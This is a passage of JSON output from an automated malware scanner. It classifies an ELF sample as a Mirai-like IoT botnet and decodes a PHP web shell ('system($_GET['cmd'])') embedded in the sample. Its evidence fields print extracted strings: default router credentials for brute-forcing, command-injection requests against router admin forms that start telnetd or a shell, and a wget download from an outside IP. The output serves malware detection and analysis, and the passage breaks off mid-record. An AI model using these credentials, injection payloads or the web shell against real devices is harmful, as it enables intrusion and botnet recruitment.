crypto/rsa)", "crypto/rsa: public exponent too large (contains: crypto/rsa)", "crypto/rsa: use of even public exponent is not allowed in FIPS 140-only mode (contains: crypto/rsa)", "malformed response from server: malformed non-numeric status pseudo headernet/ht (contains: crypto/rsa)", "crypto/rsa.bigOne (contains: crypto/rsa)", "crypto/rsa.ErrMessageTooLong (contains: crypto/rsa)", "go:itab.*crypto/rsa.PSSOptions,crypto.SignerOpts (contains: crypto/rsa)", "crypto/rsa: use of PSS salt longer than the hash is not allowed in FIPS 140-only (contains: crypto/rsa)", "crypto/rsa.checkPublicKeySize (contains: crypto/rsa)", "crypto/rsa: unsupported hash function (contains: crypto/rsa)", "stop of synctest timer from outside bubbletraceStopReadCPU called with trace ena (contains: crypto/rsa)", "crypto/rsa: use of hash functions other than SHA-2 or SHA-3 is not allowed in FI (contains: crypto/rsa)", "crypto/rsa.init (contains: crypto/rsa)", "crypto/rsa.fipsError (contains: crypto/rsa)", "crypto/rsa.(*PSSOptions).saltLength (contains: crypto/rsa)" ], "i": "objectives/impact/ransom/encrypt::go-crypto-rsa", "l": 1 }, { "a": "T1548.002", "c": 0.75, "d": "sudo command execution", "e": [ "execWhchanexecRschedsudo" ], "i": "objectives/privilege-escalation/elevation-control/uac-bypass::sudo-exec", "l": 1, "m": "E1134" }, { "c": 0.20000000298023224, "d": "output keyword", "e": [ "Host: Server: eCos Embedded Web Server: day-of-year does not match daygo package (contains: output)", "Time.UnmarshalBinary: invalid lengthbytes: Repeat output length overflowhttp: un (contains: output)", "http2: request body larger than specified content lengthhttp2: response header l (contains: output)", "input/output error (contains: output)", "crypto/des: output not full block (contains: output)", "Content-Length: tls: server sent certificate containing RSA key larger than %d b (contains: output)", "crypto/aes: output not full block (contains: output)", "goal , cons/mark maxTrigger= pages/byte\n s.sweepgen= allocCount page summarytim (contains: output)", "crypto/cipher: invalid buffer overlap of output and additional data (contains: output)", "chacha20: output smaller than input (contains: output)", "crypto/cipher: output smaller than input (contains: output)", "getrandom statessigaction failedDash_PunctuationLowercase_LetterOpen_Punctuation (contains: output)", "crypto/cipher: invalid buffer overlap of output and input (contains: output)", "log.(*Logger).output.deferwrap1 (contains: output)", "output (contains: output)", "log.(*Logger).output (contains: output)" ], "i": "micro-behaviors/data/text/keywords::output", "l": 1 }, { "a": "T1110.001", "c": 0.75, "d": "Router credential (telecomadmin)", "e": [ "chacha20: wrong key sizetelecomadmin:admintelecom\u003cDM name=\"TS_UName\" val=\"defaul (contains: telecomadmin)", "telecomadmin:admintelecom (contains: telecomadmin)" ], "i": "objectives/lateral-movement/brute-force/iot-creds::router-cred-huawei", "l": 4 }, { "a": "T1027", "c": 0.8500000238418579, "d": "Go HTTP/2 framer internals", "e": [ "http2FrameH", "http2FrameT", "http2FrameH", "http2FrameH", "http2FrameT", "http2FrameT", "http2FrameT", "http2FrameT", "http2FrameT", "http2FrameT", "http2FrameH", "http2FrameH", "http2FrameH", "http2FrameH", "http2FrameH", "http2FrameH" ], "i": "objectives/anti-static/obfuscation/tools/garble::go-http2-framer-internals", "l": 1 }, { "c": 1.0, "d": "Go runtime symbol presence", "e": [ "runtime.cmpstring", "runtime.memequal", "runtime.memequal_varlen", "runtime.mapaccess1_fast32", "runtime.mapaccess2_fast32", "runtime.mapassign_fast32", "runtime.mapdelete_fast32", "runtime.mapaccess1_fast64", "runtime.mapaccess2_fast64", "runtime.mapassign_fast64", "runtime.mapassign_fast64ptr", "runtime.mapdelete_fast64", "runtime.mapaccess1_faststr", "runtime.mapaccess2_faststr", "runtime.mapassign_faststr", "runtime.mapdelete_faststr" ], "i": "metadata/lang/compiler/systems::go-runtime-symbol", "l": 1 }, { "c": 0.30000001192092896, "d": "secret keyword", "e": [ "crypto/internal/fips140/tls13.(*EarlySecret).ResumptionBinderKey (contains: secret)", "*tls13.EarlySecret (contains: secret)", "crypto/tls: ExportKeyingMaterial is unavailable when neither TLS 1.3 nor Extende (contains: secret)", "setReadTrafficSecret (contains: secret)", "MasterSecret (contains: secret)", "crypto/tls.masterFromPreMasterSecret.prfForVersion.prfAndHashForVersion.prf12.fu (contains: secret)", "preMasterSecret (contains: secret)", "crypto/tls.(*Conn).setReadTrafficSecret (contains: secret)", "crypto/internal/fips140/tls13.NewEarlySecret[go.shape.*uint8].func1 (contains: secret)", "crypto/tls.(*cipherSuiteTLS13).nextTrafficSecret (contains: secret)", "crypto/internal/fips140/tls12.MasterSecret[go.shape.interface { BlockSize() int; (contains: secret)", "crypto/internal/fips140/tls13.(*EarlySecret).ClientEarlyTrafficSecret (contains: secret)", "secret (contains: secret)", "crypto/tls.(*clientHandshakeState).handshake.ekmFromMasterSecret.func1 (contains: secret)", "*tls13.ExporterMasterSecret (contains: secret)", "quicSetWriteSecret (contains: secret)" ], "i": "micro-behaviors/data/text/keywords::secret", "l": 1 }, { "a": "T1027.009", "c": 0.800000011920929, "d": "Go crypto/aes.NewCipher call", "e": [ "crypto/aes.NewCipher" ], "i": "objectives/command-and-control/dropper/staging/memory::aes-newcipher", "l": 1, "m": "B0030" }, { "c": 0.30000001192092896, "d": "token keyword", "e": [ "token", "token", "token", "token", "token", "token", "token" ], "i": "micro-behaviors/data/text/keywords::token", "l": 1 }, { "c": 0.6000000238418579, "d": "Common HTTP parameter for C2 status/task checks", "e": [ "\u0026command=S" ], "i": "micro-behaviors/data/text/keywords/malware::c2-polling-param-command", "l": 1 }, { "a": "T1027", "c": 1.0, "d": "Binary has 1000 or more functions", "e": [ "binary.function_count = 6228.00" ], "i": "objectives/anti-static/obfuscation/binary-metrics::function-count-1000-plus", "l": 1, "m": "B0032" }, { "a": "T1071.001", "c": 0.75, "d": "Encoded HTTP URL", "e": [ "tls: received unexpected handshake message of type %T when waiting for %Ttls: internal error: handsh..." ], "i": "objectives/anti-static/obfuscation/encoding::encoded-http-url", "l": 3 }, { "c": 0.699999988079071, "d": "httpd daemon reference", "e": [ " httpd" ], "i": "micro-behaviors/os/service/daemon::httpd", "l": 3 }, { "c": 0.6000000238418579, "d": "Secret marker string (key/token/api)", "e": [ "secretkey", "secretkey" ], "i": "objectives/exfiltration/http::secret-key", "l": 1 }, { "c": 0.699999988079071, "d": "High function count over 200", "e": [ "binary.function_count = 6228.00" ], "i": "metadata/binary/metrics::high-function-count-200", "l": 2 }, { "c": 0.6600000262260437, "d": "Reference to /etc/hosts", "e": [ "/etc/hosts" ], "i": "micro-behaviors/fs/path/config::config-hosts", "l": 3 }, { "c": 0.6000000238418579, "d": "Common C2 status/task query key", "e": [ "?cmd=W", "?cmd=W" ], "i": "micro-behaviors/data/text/keywords/malware::c2-polling-param-prefix-b", "l": 1 }, { "a": "T1222", "c": 0.699999988079071, "d": "Shell chmod 7xx (executable)", "e": [ "chmod 777 " ], "i": "micro-behaviors/fs/chmod/executable::shell-7xx", "l": 3, "m": "E1222" }, { "c": 0.75, "d": "Inline password token in lure", "e": [ "password=Set-Cookie", "password=adminGET", "password=adminGET", "password=asdf", "PassWord\" : \"submit-url", "Passwd=admin", "password=admin", "Passwd=admin" ], "i": "objectives/lateral-movement/social-engineering/lures::inline-password-token", "l": 1 }, { "a": "T1059.004", "c": 0.8500000238418579, "d": "Encoded /bin/sh shell path", "e": [ "Content-Length: (Client.Timeout exceeded while awaiting headers)net/http: Transport.Dial hook retur...", "submit-url=/syscmd.htm\u0026sysCmd=ping\u0026sysMagic=\u0026sysCmdType=ping\u0026checkNum=1\u0026sysHost=;telnetd -l/bin/sh -..." ], "i": "objectives/anti-static/obfuscation/encoding::encoded-bin-sh", "l": 2 }, { "c": 0.699999988079071, "d": "telnetd daemon reference", "e": [ "telnetd", "telnetd", "telnetd", "telnetd", "telnetd", "telnetd", "telnetd" ], "i": "micro-behaviors/os/service/daemon::telnetd", "l": 3 }, { "c": 0.6000000238418579, "d": "Secret naming pattern family A", "e": [ "secretkey", "secretkey" ], "i": "objectives/evasion/masquerade/naming/posix::secret-a", "l": 1 }, { "a": "T1622", "d": "GDB debugger reference", "e": [ "gdb" ], "i": "objectives/anti-analysis/debugger-detect/check::gdb-ref", "l": 3, "m": "B0001" }, { "c": 0.8999999761581421, "d": "Binary has many functions", "e": [ "binary.function_count = 6228.00" ], "i": "objectives/anti-static/pack/entropy::large-function-surface", "l": 1 }, { "c": 0.6000000238418579, "d": "TCP connection timeout error", "e": [ "pacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bp (contains: connection timed out)", "connection timed out (contains: connection timed out)" ], "i": "micro-behaviors/communications/socket/tcp::go-net-error-connection-timeout", "l": 2 }, { "c": 0.6000000238418579, "d": "TCP connection refused error", "e": [ "connection refused (contains: connection refused)", "goal , cons/mark maxTrigger= pages/byte\n s.sweepgen= allocCount page summarytim (contains: connection refused)", "Cookie: SESSION=Server: mini_httpd: applet not found: day out of rangeunknown ti (contains: connection refused)" ], "i": "micro-behaviors/communications/socket/tcp::go-net-error-connection-refused", "l": 2 }, { "c": 0.8999999761581421, "d": "No stack canary (stack smashing protection absent)", "e": [ "elf.stack_canary = 0.00" ], "i": "metadata/hardening::no-stack-canary", "l": 2 }, { "c": 0.4000000059604645, "d": "SIGHUP signal ignore pattern (x86_64)", "e": [ "BF 01 00 00 00 BE 01 00 00 00", "BF 01 00 00 00 BE 01 00 00 00", "BF 01 00 00 00 BE 01 00 00 00" ], "i": "objectives/persistence/system/daemon/init::sig-ign-sighup-x64", "l": 1 }, { "a": "T1074.001", "c": 0.699999988079071, "d": "Encoded /tmp/ directory path", "e": [ "tls: received unexpected handshake message of type %T when waiting for %Ttls: internal error: handsh...", "../../../../../mnt/database/xml/Accounthttp2: Transport: cannot retry err [%v] after Request.Body wa..." ], "i": "objectives/anti-static/obfuscation/encoding::encoded-tmp-path", "l": 3 }, { "c": 0.6000000238418579, "d": "Binary not position-independent (no ASLR)", "e": [ "elf.e_type = 2.00" ], "i": "metadata/hardening::no-pie-struct", "l": 2 }, { "a": "T1027", "c": 1.0, "d": "Binary is 1MB or larger", "e": [ "binary.file_size = 8864698.00" ], "i": "objectives/anti-static/obfuscation/binary-metrics::file-size-1m-plus", "l": 1, "m": "B0032" }, { "a": "T1027.002", "c": 0.6000000238418579, "d": "Many high complexity functions (\u003e80)", "e": [ "binary.high_complexity_functions = 115.00" ], "i": "objectives/anti-static/obfuscation/binary-metrics::many-complex-functions", "l": 1, "m": "B0032" }, { "a": "T1070.003", "c": 0.800000011920929, "d": "pkill with kill -9 signal", "e": [ "kill -9" ], "i": "objectives/evasion/indicator-removal::pkill-signal-9", "l": 3 }, { "a": "T1027", "c": 0.20000000298023224, "d": "Hardcoded hex encoding charset (encoding/decoding)", "e": [ "goal , cons/mark maxTrigger= pages/byte\n s.sweepgen= allocCount page summarytimer_deletens} value: {}, want {r1= [recovered]bad", "morebuf={pc:: no frame (sp=runtime: frame ts set in timertraceback stuckunexpected kindCurrency_SymbolModifier_LetterModifier_Sy", "Origin: http://Basic realm=\"DVR\"echo -ne \"%s\" \u003e\u003e echo loading donecorrupt zip file fractional secondreflect.Value.Int0123456789A", "Time.UnmarshalBinary: invalid lengthbytes: Repeat output length overflowhttp: unexpected EOF reading trailer LastStreamID=%v Err", "trying to put back buffer of the wrong size in the copyBufPoolfound bad pointer in Go heap (incorrect use of unsafe or cgo?)limi" ], "i": "objectives/anti-static/obfuscation/encoding::hardcoded-hex-charset", "l": 2, "m": "C0026" }, { "c": 0.8999999761581421, "d": "No RELRO (GOT writable after load)", "e": [ "elf.relro = 0.00" ], "i": "metadata/hardening::no-relro", "l": 2 }, { "c": 0.699999988079071, "d": "High string count over 1000", "e": [ "binary.string_count = 21552.00" ], "i": "metadata/binary/metrics::high-string-count-1000", "l": 2 }, { "c": 0.6000000238418579, "d": "TCP connection reset error", "e": [ "runtime: mp.lockedInt = runqsteal: runq overflowgoroutine stack (system)unexpect (contains: connection reset by peer)", "connection reset by peer (contains: connection reset by peer)" ], "i": "micro-behaviors/communications/socket/tcp::go-net-error-connection-reset", "l": 2 }, { "c": 0.4000000059604645, "d": "XOR decryption loop byte pattern", "e": [ "90 48 fe 02 74", "90 48 ff 01 75" ], "i": "objectives/anti-analysis/self-modify/runtime::xor-loop-pattern", "l": 1 }, { "a": "T1071.001", "d": "Authorization header", "e": [ "Authorization: Basic cd /tmp||cd /var/tmp||cd /dev/shm;wget http://129.121.38.21 (contains: Authorization:)", "\r\nAuthorization: Basic (contains: Authorization:)", "Authorization: Basic cm9vdDoxMjM0NQ== (contains: Authorization:)", "Authorization: Basic bytes.Reader.UnreadByte: at beginning of slicehttp2: Transp (contains: Authorization:)", "\r\nConnection: close\r\nCache-Control: max-age=0\r\nContent-Type: text/xml\r\nAuthoriza (contains: Authorization:)", "Authorization: Basic (contains: Authorization:)", "\r\nAuthorization: Basic cm9vdDoxMjM0NQ==\r\nConnection: close\r\n\r\n (contains: Authorization:)" ], "i": "micro-behaviors/communications/http/headers::auth-header", "l": 3, "m": "C0002" }, { "c": 0.949999988079071, "d": "ChaCha20/Salsa20 cipher constant", "e": [ "expand 32-byte kexpand 32-byte k (contains: expand 32-byte k)" ], "i": "micro-behaviors/crypto/symmetric/stream::chacha-salsa-constant", "l": 2 }, { "c": 0.800000011920929, "d": "Abnormally low logic density for binary size", "e": [ "binary.complexity_per_kb = 0.00" ], "i": "objectives/anti-static/obfuscation/control-flow/logic::low-complexity-large-binary", "l": 3 }, { "a": "T1071.001", "c": 0.6000000238418579, "d": "httpd web server", "e": [ " httpd" ], "i": "micro-behaviors/communications/http/server::httpd-keyword", "l": 2, "m": "C0002" }, { "c": 0.6000000238418579, "d": "Common HTTP parameter for C2 status/task checks", "e": [ "?cmd=W", "\u0026command=S" ], "i": "micro-behaviors/data/text/keywords/malware::c2-polling-params", "l": 3 }, { "c": 0.800000011920929, "d": "X.509 certificate handling (legitimate)", "e": [ "invalid Upgrade request header: %qinvalid nested repetition operatorinvalid or u (contains: ca-certificates)", "/etc/ssl/certs (contains: /etc/ssl/certs)", "invalid Upgrade request header: %qinvalid nested repetition operatorinvalid or u (contains: /etc/ssl/certs)", "/etc/ssl/certs/ca-certificates.crt (contains: ca-certificates)", "goal , cons/mark maxTrigger= pages/byte\n s.sweepgen= allocCount page summarytim (contains: /etc/ssl/certs)", "/etc/ssl/certs/ca-certificates.crt (contains: /etc/ssl/certs)", "x509", "stopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 fa (contains: /etc/ssl/certs)" ], "i": "micro-behaviors/crypto/certificate/operations::certificate-handling", "l": 2 }, { "a": "T1071.001", "c": 0.6000000238418579, "d": "POST method with HTTP delimiter", "e": [ "User-Agent: POST /goform/ZyLogin HTTP/1.1 (contains: POST /)", "POST /boafrm/formSysCmd HTTP/1.0\r\nHost: (contains: POST /)", "Host: Location: http://vodafone:vodafonereport:8Jg0SR8K50POST /guest_auth/ (contains: POST /)", "goal , cons/mark maxTrigger= pages/byte\n s.sweepgen= allocCount page summarytim (contains: POST /)", "Host: if\\('1' == '0' \\|\\| '(.+?)' == '(.+?)'\\)POST /cgi-bin/login.cgi HTTP/1.1 (contains: POST /)", "lock: sleeping while lock is availableP has cached GC work at end of mark termin (contains: POST /)", "startTheWorld: inconsistent mp-\u003enextpCouldn't put Gs into empty local runqruntim (contains: POST /)", "invalid timer: fake time but no syncgroupclone(CLONE_PIDFD) failed to return pid (contains: POST /)", "POST /utility/get_password_cookie.sh HTTP/1.1\r\nContent-type: application/x-www-f (contains: POST /)", "POST /boaform/admin/formLogin HTTP/1.1 (contains: POST /)", "stopTheWorld: not stopped (status != _Pgcstop)select on synctest channel from ou (contains: POST /)", "Host: \u0026SystemCommandSubmit=admin+applyPOST /apply.cgi HTTP/1.0 (contains: POST /)", "POST /utility/run_commands.sh HTTP/1.1\r\nCookie: hash=%s; exp=%s; name=%s\r\nConten (contains: POST /)", "Host: POST /cgi-bin/adm.cgi HTTP/1.1 (contains: POST /)", "POST /goform/SystemCommand HTTP/1.1 (contains: POST /)", "Host: POST /boafrm/formSysCmd HTTP/1.0 (contains: POST /)" ], "i": "objectives/command-and-control/channel/http/protocol::method-fragment-with-delimiter-post", "l": 1 }, { "a": "T1078.001", "c": 0.8999999761581421, "d": "Default IoT device credentials for brute-force", "e": [ "admin:admin1 (contains: admin:admin)", "math/randcSHAKE128info_hashaddVW lensubVW lenunderflowadmin:1234admin:1111admin: (contains: admin:1234)", "sched={pc:, gp-\u003estatus= pluginpath= : unknown pc called from runtime: pid=Lette (contains: admin:password)", "/syscmd.htmAdmin:Adminadmin:zhonesubmit_typeroot:hi3518root:123456Set-Cookie:fou (contains: admin:1234)", "admin:123456 (contains: admin:1234)", "chacha20: wrong key sizetelecomadmin:admintelecom\u003cDM name=\"TS_UName\" val=\"defaul (contains: admin:admin)", "runqueue= stopwait= runqsize= gfreecnt= throwing= spinning=atomicand8float64nanf (contains: admin:admin)", "stack=[ minLC= maxpc= packed= -\u003e ptr=\tstack=[ minutes status= etypes nil PoolA (contains: root:root)", "/syscmd.htmAdmin:Adminadmin:zhonesubmit_typeroot:hi3518root:123456Set-Cookie:fou (contains: admin:admin)", "SeagateunknownTuesdayJanuaryOctoberfloat32float64runningconnectlookup writetoHEA (contains: root:root)", "goal , cons/mark maxTrigger= pages/byte\n s.sweepgen= allocCount page summarytim (contains: admin:admin)", "User-Agent: admin:admin123admin:cciadmintelnet opened \u0026new_password=name=\"admuse (contains: admin:admin)", "admin:12345 (contains: admin:1234)", "admin:admin (contains: admin:admin)", "runqueue= stopwait= runqsize= gfreecnt= throwing= spinning=atomicand8float64nanf (contains: admin:1234)", "telecomadmin:admintelecom (contains: admin:admin)" ], "i": "objectives/lateral-movement/brute-force/ssh::iot-credential-access", "l": 4, "m": "E1110" }, { "a": "T1071.001", "c": 0.6000000238418579, "d": "GET method with HTTP delimiter", "e": [ "Host: GET /syscmd.htm HTTP/1.0 (contains: GET /)", "GET /sheH (contains: GET /)", "runtime: newstack at runtime: newstack sp=runtime: confused by pcHeader.textSta (contains: GET /)", "DetECDSA P-256 SHA2-512 signasn1: string not valid UTF-8invalid P224Element enco (contains: GET /)", "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/ (contains: GET /)", "Host: GET /index_mjpg.html HTTP/1.1 (contains: GET /)", "username=admin\u0026password=adminGET /guest_auth/baba.php?cmd=WWW-Authenticate: Basi (contains: GET /)", "GET /errH (contains: GET /)", "indefinite length found (not DER)struct contains unexported fieldsGODEBUG sys/cp (contains: GET /)", "GET /syscmd.htm HTTP/1.0\r\nHost: (contains: GET /)", "GET /login.asp HTTP/1.1 (contains: GET /)", "GET /zhnping.cmd?\u0026test=ping\u0026sessionKey= (contains: GET /)", "GET /cgi-bin/webui/admin/tools/app_ping/diag_ping/%20;sh%20cmd%202%3e%261%3b/5/6 (contains: GET /)", "Host: GET / HTTP/1.0 (contains: GET /)", "Host: time: Stop called on uninitialized Timerhttp2: timeout awaiting response h (contains: GET /)", "GET /pingview.cmd HTTP/1.1\r\nHost: GET /zhnping.html HTTP/1.1\r\n (contains: GET /)" ], "i": "objectives/command-and-control/channel/http/protocol::method-fragment-with-delimiter-get", "l": 1 }, { "c": 0.6600000262260437, "d": "Reference to /tmp", "e": [ "SeagateunknownTuesdayJanuaryOctoberfloat32float64runningconnectlookup writetoHEA (contains: /tmp/)", "m= sp= sp: lr: fp= gp= mp=) m=MarkAhomChamKawiLisuMiaoModiNewaThaiTotoAVX2boolin (contains: /tmp/)", "../../../../../mnt/database/xml/Accounthttp2: Transport: cannot retry err [%v] a (contains: /tmp/)", "/tmp/malformed", "/tmp//var//mnt//etc//dev/arch", "tls: received unexpected handshake message of type %T when waiting for %Ttls: in (contains: /tmp/)", "stack=[ minLC= maxpc= packed= -\u003e ptr=\tstack=[ minutes status= etypes nil PoolA (contains: /tmp/)", "Host: /bin/busybox cp /bin/echo /tmp/malformed time zone informationfmt: unknown (contains: /tmp/)", "/var/tmp/stainfo" ], "i": "micro-behaviors/fs/path/temp::temp-tmp", "l": 2 }, { "a": "T1082", "c": 0.6499999761581421, "d": "Hostname in Go binary", "e": [ "runtime.main", ".gopclntab", "runtime.mstart", "runtime.goexit.", "runtime.goexit", "runtime.main.", "runtime.mstart.", "Hostname" ], "i": "micro-behaviors/os/sysinfo/hostname::hostname-string", "l": 2, "m": "E1082" }, { "a": "T1027", "c": 0.75, "d": "Go base64 encoding/decoding present", "e": [ ".EncodeToString", "AppendEncode", ".Encode", ".gopclntab", ".EncodedLen" ], "i": "objectives/anti-static/obfuscation/tools/garble::go-base64-present", "l": 2 }, { "c": 0.9399999976158142, "d": "Go ELF retains rich runtime metadata", "e": [ ".note.go.buildid", ".go.fipsinfo", ".noptrdata", ".go.buildinfo" ], "i": "metadata/lang/compiler/systems::go-elf-rich-runtime-metadata", "l": 2 }, { "c": 0.6600000262260437, "d": "Reference to /var/tmp", "e": [ "../../../../../mnt/database/xml/Accounthttp2: Transport: cannot retry err [%v] a (contains: /var/tmp/)", "/tmp/malformed", "/tmp//var//mnt//etc//dev/arch", "/var/tmp/stainfo", "stack=[ minLC= maxpc= packed= -\u003e ptr=\tstack=[ minutes status= etypes nil PoolA (contains: /var/tmp/)", "tls: received unexpected handshake message of type %T when waiting for %Ttls: in (contains: /var/tmp/)", "SeagateunknownTuesdayJanuaryOctoberfloat32float64runningconnectlookup writetoHEA (contains: /var/tmp/)" ], "i": "micro-behaviors/fs/path/temp::temp-var-tmp", "l": 2 }, { "c": 0.949999988079071, "d": "Go-compiled binary", "e": [ "runtime.goexit.", "runtime.goexit", "main.main", "runtime.main", "runtime.main.", "runtime.gopanic", "runtime.mstart", "runtime.mstart." ], "i": "metadata/lang/compiler/systems::go-binary-comp", "l": 2 }, { "a": "T1110.001", "c": 0.949999988079071, "d": "Mirai-like IoT botnet (credential brute-force targeting)", "e": [ "stopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 fa (contains: /bin/busybox)", "username=telnet opened{\"errCode\":0}submit_buttonchange_actionServer: httpdroot:i (contains: /bin/busybox)", "Host: Server: eCos Embedded Web Server: day-of-year does not match daygo package (contains: /bin/busybox)", "stack not a power of 2minpc or maxpc invalidnon-Go function at pc=Inscriptional_ (contains: /bin/busybox)", "goal , cons/mark maxTrigger= pages/byte\n s.sweepgen= allocCount page summarytim (contains: /bin/busybox)", "; /bin/busybox (contains: /bin/busybox)", "Host: /bin/busybox cp /bin/echo /tmp/malformed time zone informationfmt: unknown (contains: /bin/busybox)", "telnetadmin" ], "i": "objectives/command-and-control/botnet/iot::mirai-variant", "l": 4, "m": "B0030" }, { "a": "T1027", "c": 0.8500000238418579, "d": "Go proxy function internals", "e": [ "ProxyConnectHeader (contains: ProxyConnectHeader)", "GetProxyConnectHeader (contains: ProxyConnectHeader)", "OnProxyConnectResponse (contains: OnProxyConnectResponse)" ], "i": "objectives/anti-static/obfuscation/tools/garble::go-proxy-internals-core", "l": 1 }, { "c": 0.8500000238418579, "d": "Automated telnet credential scanner", "e": [ "admin:123456 (contains: admin:1234)", "math/randcSHAKE128info_hashaddVW lensubVW lenunderflowadmin:1234admin:1111admin: (contains: admin:1234)", "/syscmd.htmAdmin:Adminadmin:zhonesubmit_typeroot:hi3518root:123456Set-Cookie:fou (contains: admin:admin)", "sched={pc:, gp-\u003estatus= pluginpath= : unknown pc called from runtime: pid=Lette (contains: admin:password)", "/syscmd.htmAdmin:Adminadmin:zhonesubmit_typeroot:hi3518root:123456Set-Cookie:fou (contains: admin:1234)", "runqueue= stopwait= runqsize= gfreecnt= throwing= spinning=atomicand8float64nanf (contains: admin:admin)", "stack=[ minLC= maxpc= packed= -\u003e ptr=\tstack=[ minutes status= etypes nil PoolA (contains: root:root)", "admin:admin (contains: admin:admin)", "scanner", "goal , cons/mark maxTrigger= pages/byte\n s.sweepgen= allocCount page summarytim (contains: admin:admin)", "User-Agent: admin:admin123admin:cciadmintelnet opened \u0026new_password=name=\"admuse (contains: admin:admin)", "chacha20: wrong key sizetelecomadmin:admintelecom\u003cDM name=\"TS_UName\" val=\"defaul (contains: admin:admin)", "admin:admin1 (contains: admin:admin)", "SeagateunknownTuesdayJanuaryOctoberfloat32float64runningconnectlookup writetoHEA (contains: root:root)", "admin:12345 (contains: admin:1234)", "Scanner" ], "i": "well-known/malware/botnet/chinaz::telnet-scanner", "l": 4 }, { "a": "T1105", "c": 0.9300000071525574, "d": "Encoded file download pattern", "e": [ "tls: received unexpected handshake message of type %T when waiting for %Ttls: internal error: handsh..." ], "i": "objectives/anti-static/obfuscation/encoding::encoded-downloader-pattern", "l": 4, "m": "F0001" }, { "c": 0.75, "d": "ELF lacks dynamic linker sections", "e": [ "elf.class_bits = 64.00" ], "i": "metadata/hardening::static-linked-heuristic", "l": 1 }, { "c": 0.75, "d": "ELF lacks dynamic linker sections", "e": [ "elf.class_bits = 64.00" ], "i": "metadata/binary/linking::static-linked-heuristic", "l": 1 }, { "c": 0.800000011920929, "d": "Statically linked binary", "e": [ "elf.class_bits = 64.00", "binary.dependency_count = 0.00" ], "i": "metadata/binary/linking::static-linked", "l": 1 }, { "c": 0.8999999761581421, "d": "Encoded payload detected: url", "e": [ "encoding=url, type=Unknown, preview=Content-Length: (Client.Timeout exceede", "encoding=url, type=Unknown, preview=../../../../../mnt/database/xml/Accounth", "encoding=url, type=Unknown, preview=GET /cgi-bin/webui/admin/tools/app_ping/", "encoding=url, type=Unknown, preview=submit-url=/syscmd.htm\u0026sysCmd=ping\u0026sysMa" ], "i": "metadata/encoded-payload/url", "l": 3 }, { "c": 0.8999999761581421, "d": "Encoded payload detected: base64", "e": [ "encoding=base64, type=Unknown, preview=\u003c?php system($_GET['cmd']);?\u003e", "encoding=base64, type=Unknown, preview=admin:{12213BD1-69C7-4862-843D-260500D1D" ], "i": "metadata/encoded-payload/base64", "l": 3 } ], "sha": "38536ef3cd33878061bb5242d917e95cb1b2c5ccdeab3f26bb627fbefcd353e6", "path": "/data/samples/bad/harvest/malshare/38536ef3cd33878061bb5242d917e95cb1b2c5ccdeab3f26bb627fbefcd353e6", "type": "elf" }, { "f": "O(C)H₂(CmPo)Md₂(PtPa)", "x": 43, "dp": 1, "id": 1, "is": [ "system" ], "ms": { "text": { "space_count": 1.0, "total_lines": 1.0, "char_entropy": 4.51, "unique_chars": 24.0, "import_density": 100.0, "string_density": 2.0, "avg_line_length": 29.0, "max_line_length": 29.0, "last_line_length": 29.0, "most_common_char": "s", "whitespace_ratio": 0.03, "most_common_ratio": 0.07, "identifier_density": 2.0, "normalized_import_count": 1.0, "normalized_string_count": 2.0, "max_inline_whitespace_run": 1.0 }, "imports": { "total": 1.0, "unique_modules": 1.0, "third_party_count": 1.0, "third_party_ratio": 1.0 }, "strings": { "total": 2.0, "avg_length": 3.0, "max_length": 3.0, "avg_entropy": 1.58, "total_bytes": 6.0 }, "comments": {}, "functions": {}, "identifiers": { "total": 2.0, "avg_length": 5.0, "max_length": 6.0, "min_length": 4.0, "avg_entropy": 2.13, "reuse_ratio": 1.0, "unique_count": 2.0, "length_stddev": 1.0, "all_lowercase_ratio": 0.5, "all_uppercase_ratio": 0.5, "underscore_prefix_count": 1.0 } }, "ss": [ [ 19, "cmd" ], [ 20, "cmd" ] ], "sz": 29, "ts": [ { "c": 0.800000011920929, "d": "Very short file (under 12 lines)", "e": [ "text.total_lines = 1.00" ], "i": "metadata/package/metrics::file-under-12-lines", "l": 1 }, { "c": 0.800000011920929, "d": "Single imported capability only", "e": [ "imports.total = 1.00" ], "i": "metadata/file/text::single-import", "l": 2 }, { "a": "T1505.003", "c": 0.4000000059604645, "d": "PHP $_GET parameter access", "e": [ "$_GET[" ], "i": "objectives/command-and-control/backdoor/webshell/script::php-get", "l": 1, "m": "B0030" }, { "c": 0.8199999928474426, "d": "Sparse string pool in PHP", "e": [ "strings.total = 2.00" ], "i": "metadata/file/text::sparse-strings", "l": 2 }, { "a": "T1505.003", "c": 0.30000001192092896, "d": "PHP opening tag", "e": [ "\u003c?php" ], "i": "objectives/command-and-control/backdoor/webshell/script::php-tag", "l": 1, "m": "B0030" }, { "a": "T1059.004", "c": 0.949999988079071, "d": "Shell command execution via system()", "e": [ "system" ], "i": "micro-behaviors/process/create/shell/lang::system", "l": 3, "m": "E1059" }, { "a": "T1059", "c": 0.8500000238418579, "d": "HTTP GET parameter access ($_GET)", "e": [ "$_GET" ], "i": "micro-behaviors/communications/http/request/params::get-dup", "l": 3 }, { "a": "T1059.004", "c": 0.8999999761581421, "d": "Variable input reaches core exec functions", "e": [ "system($" ], "i": "micro-behaviors/process/create/shell/lang::exec-user-input-func-core", "l": 3, "m": "E1059" }, { "c": 0.699999988079071, "d": "AJAX request handler pattern", "e": [ "$_GET['cmd']" ], "i": "objectives/command-and-control/backdoor/webshell::ajax-handler", "l": 3, "m": "B0030" }, { "c": 1.0, "d": "php code encoded in string", "e": [ "Detected php at offset 0x359d42" ], "i": "metadata/lang/encoded/base64::php", "l": 4 } ], "sha": "200899eda8ca64aa52f7cca91cf9e51ca4fece4fe5db62bbf5f8ff0c01a35e27", "path": "/data/samples/bad/harvest/malshare/38536ef3cd33878061bb5242d917e95cb1b2c5ccdeab3f26bb627fbefcd353e6##base64@3513666", "type": "php" }, { "f": "O₂(As₂C)H₂(F₂Po)Md₂(PtPa)", "x": 5, "dp": 1, "id": 2, "is": [ "../../../../../mnt/database/xml/Accounthttp2:", "../../../../../mnt/database/xml/Accounthttp2:", "define", "define", "chmod", "chmod", "/var/tmp/stainfo", "/var/tmp/stainfo", "/cgi-bin/webui/admin/tools/app_ping/diag_ping/", "sh", "sh", "/5/6/a.com?_=0.34726014511180714", "/5/6/a.com?_=0.34726014511180714" ], "ms": { "text": { "digit_ratio": 0.53, "space_count": 25.0, "total_lines": 1.0, "char_entropy": 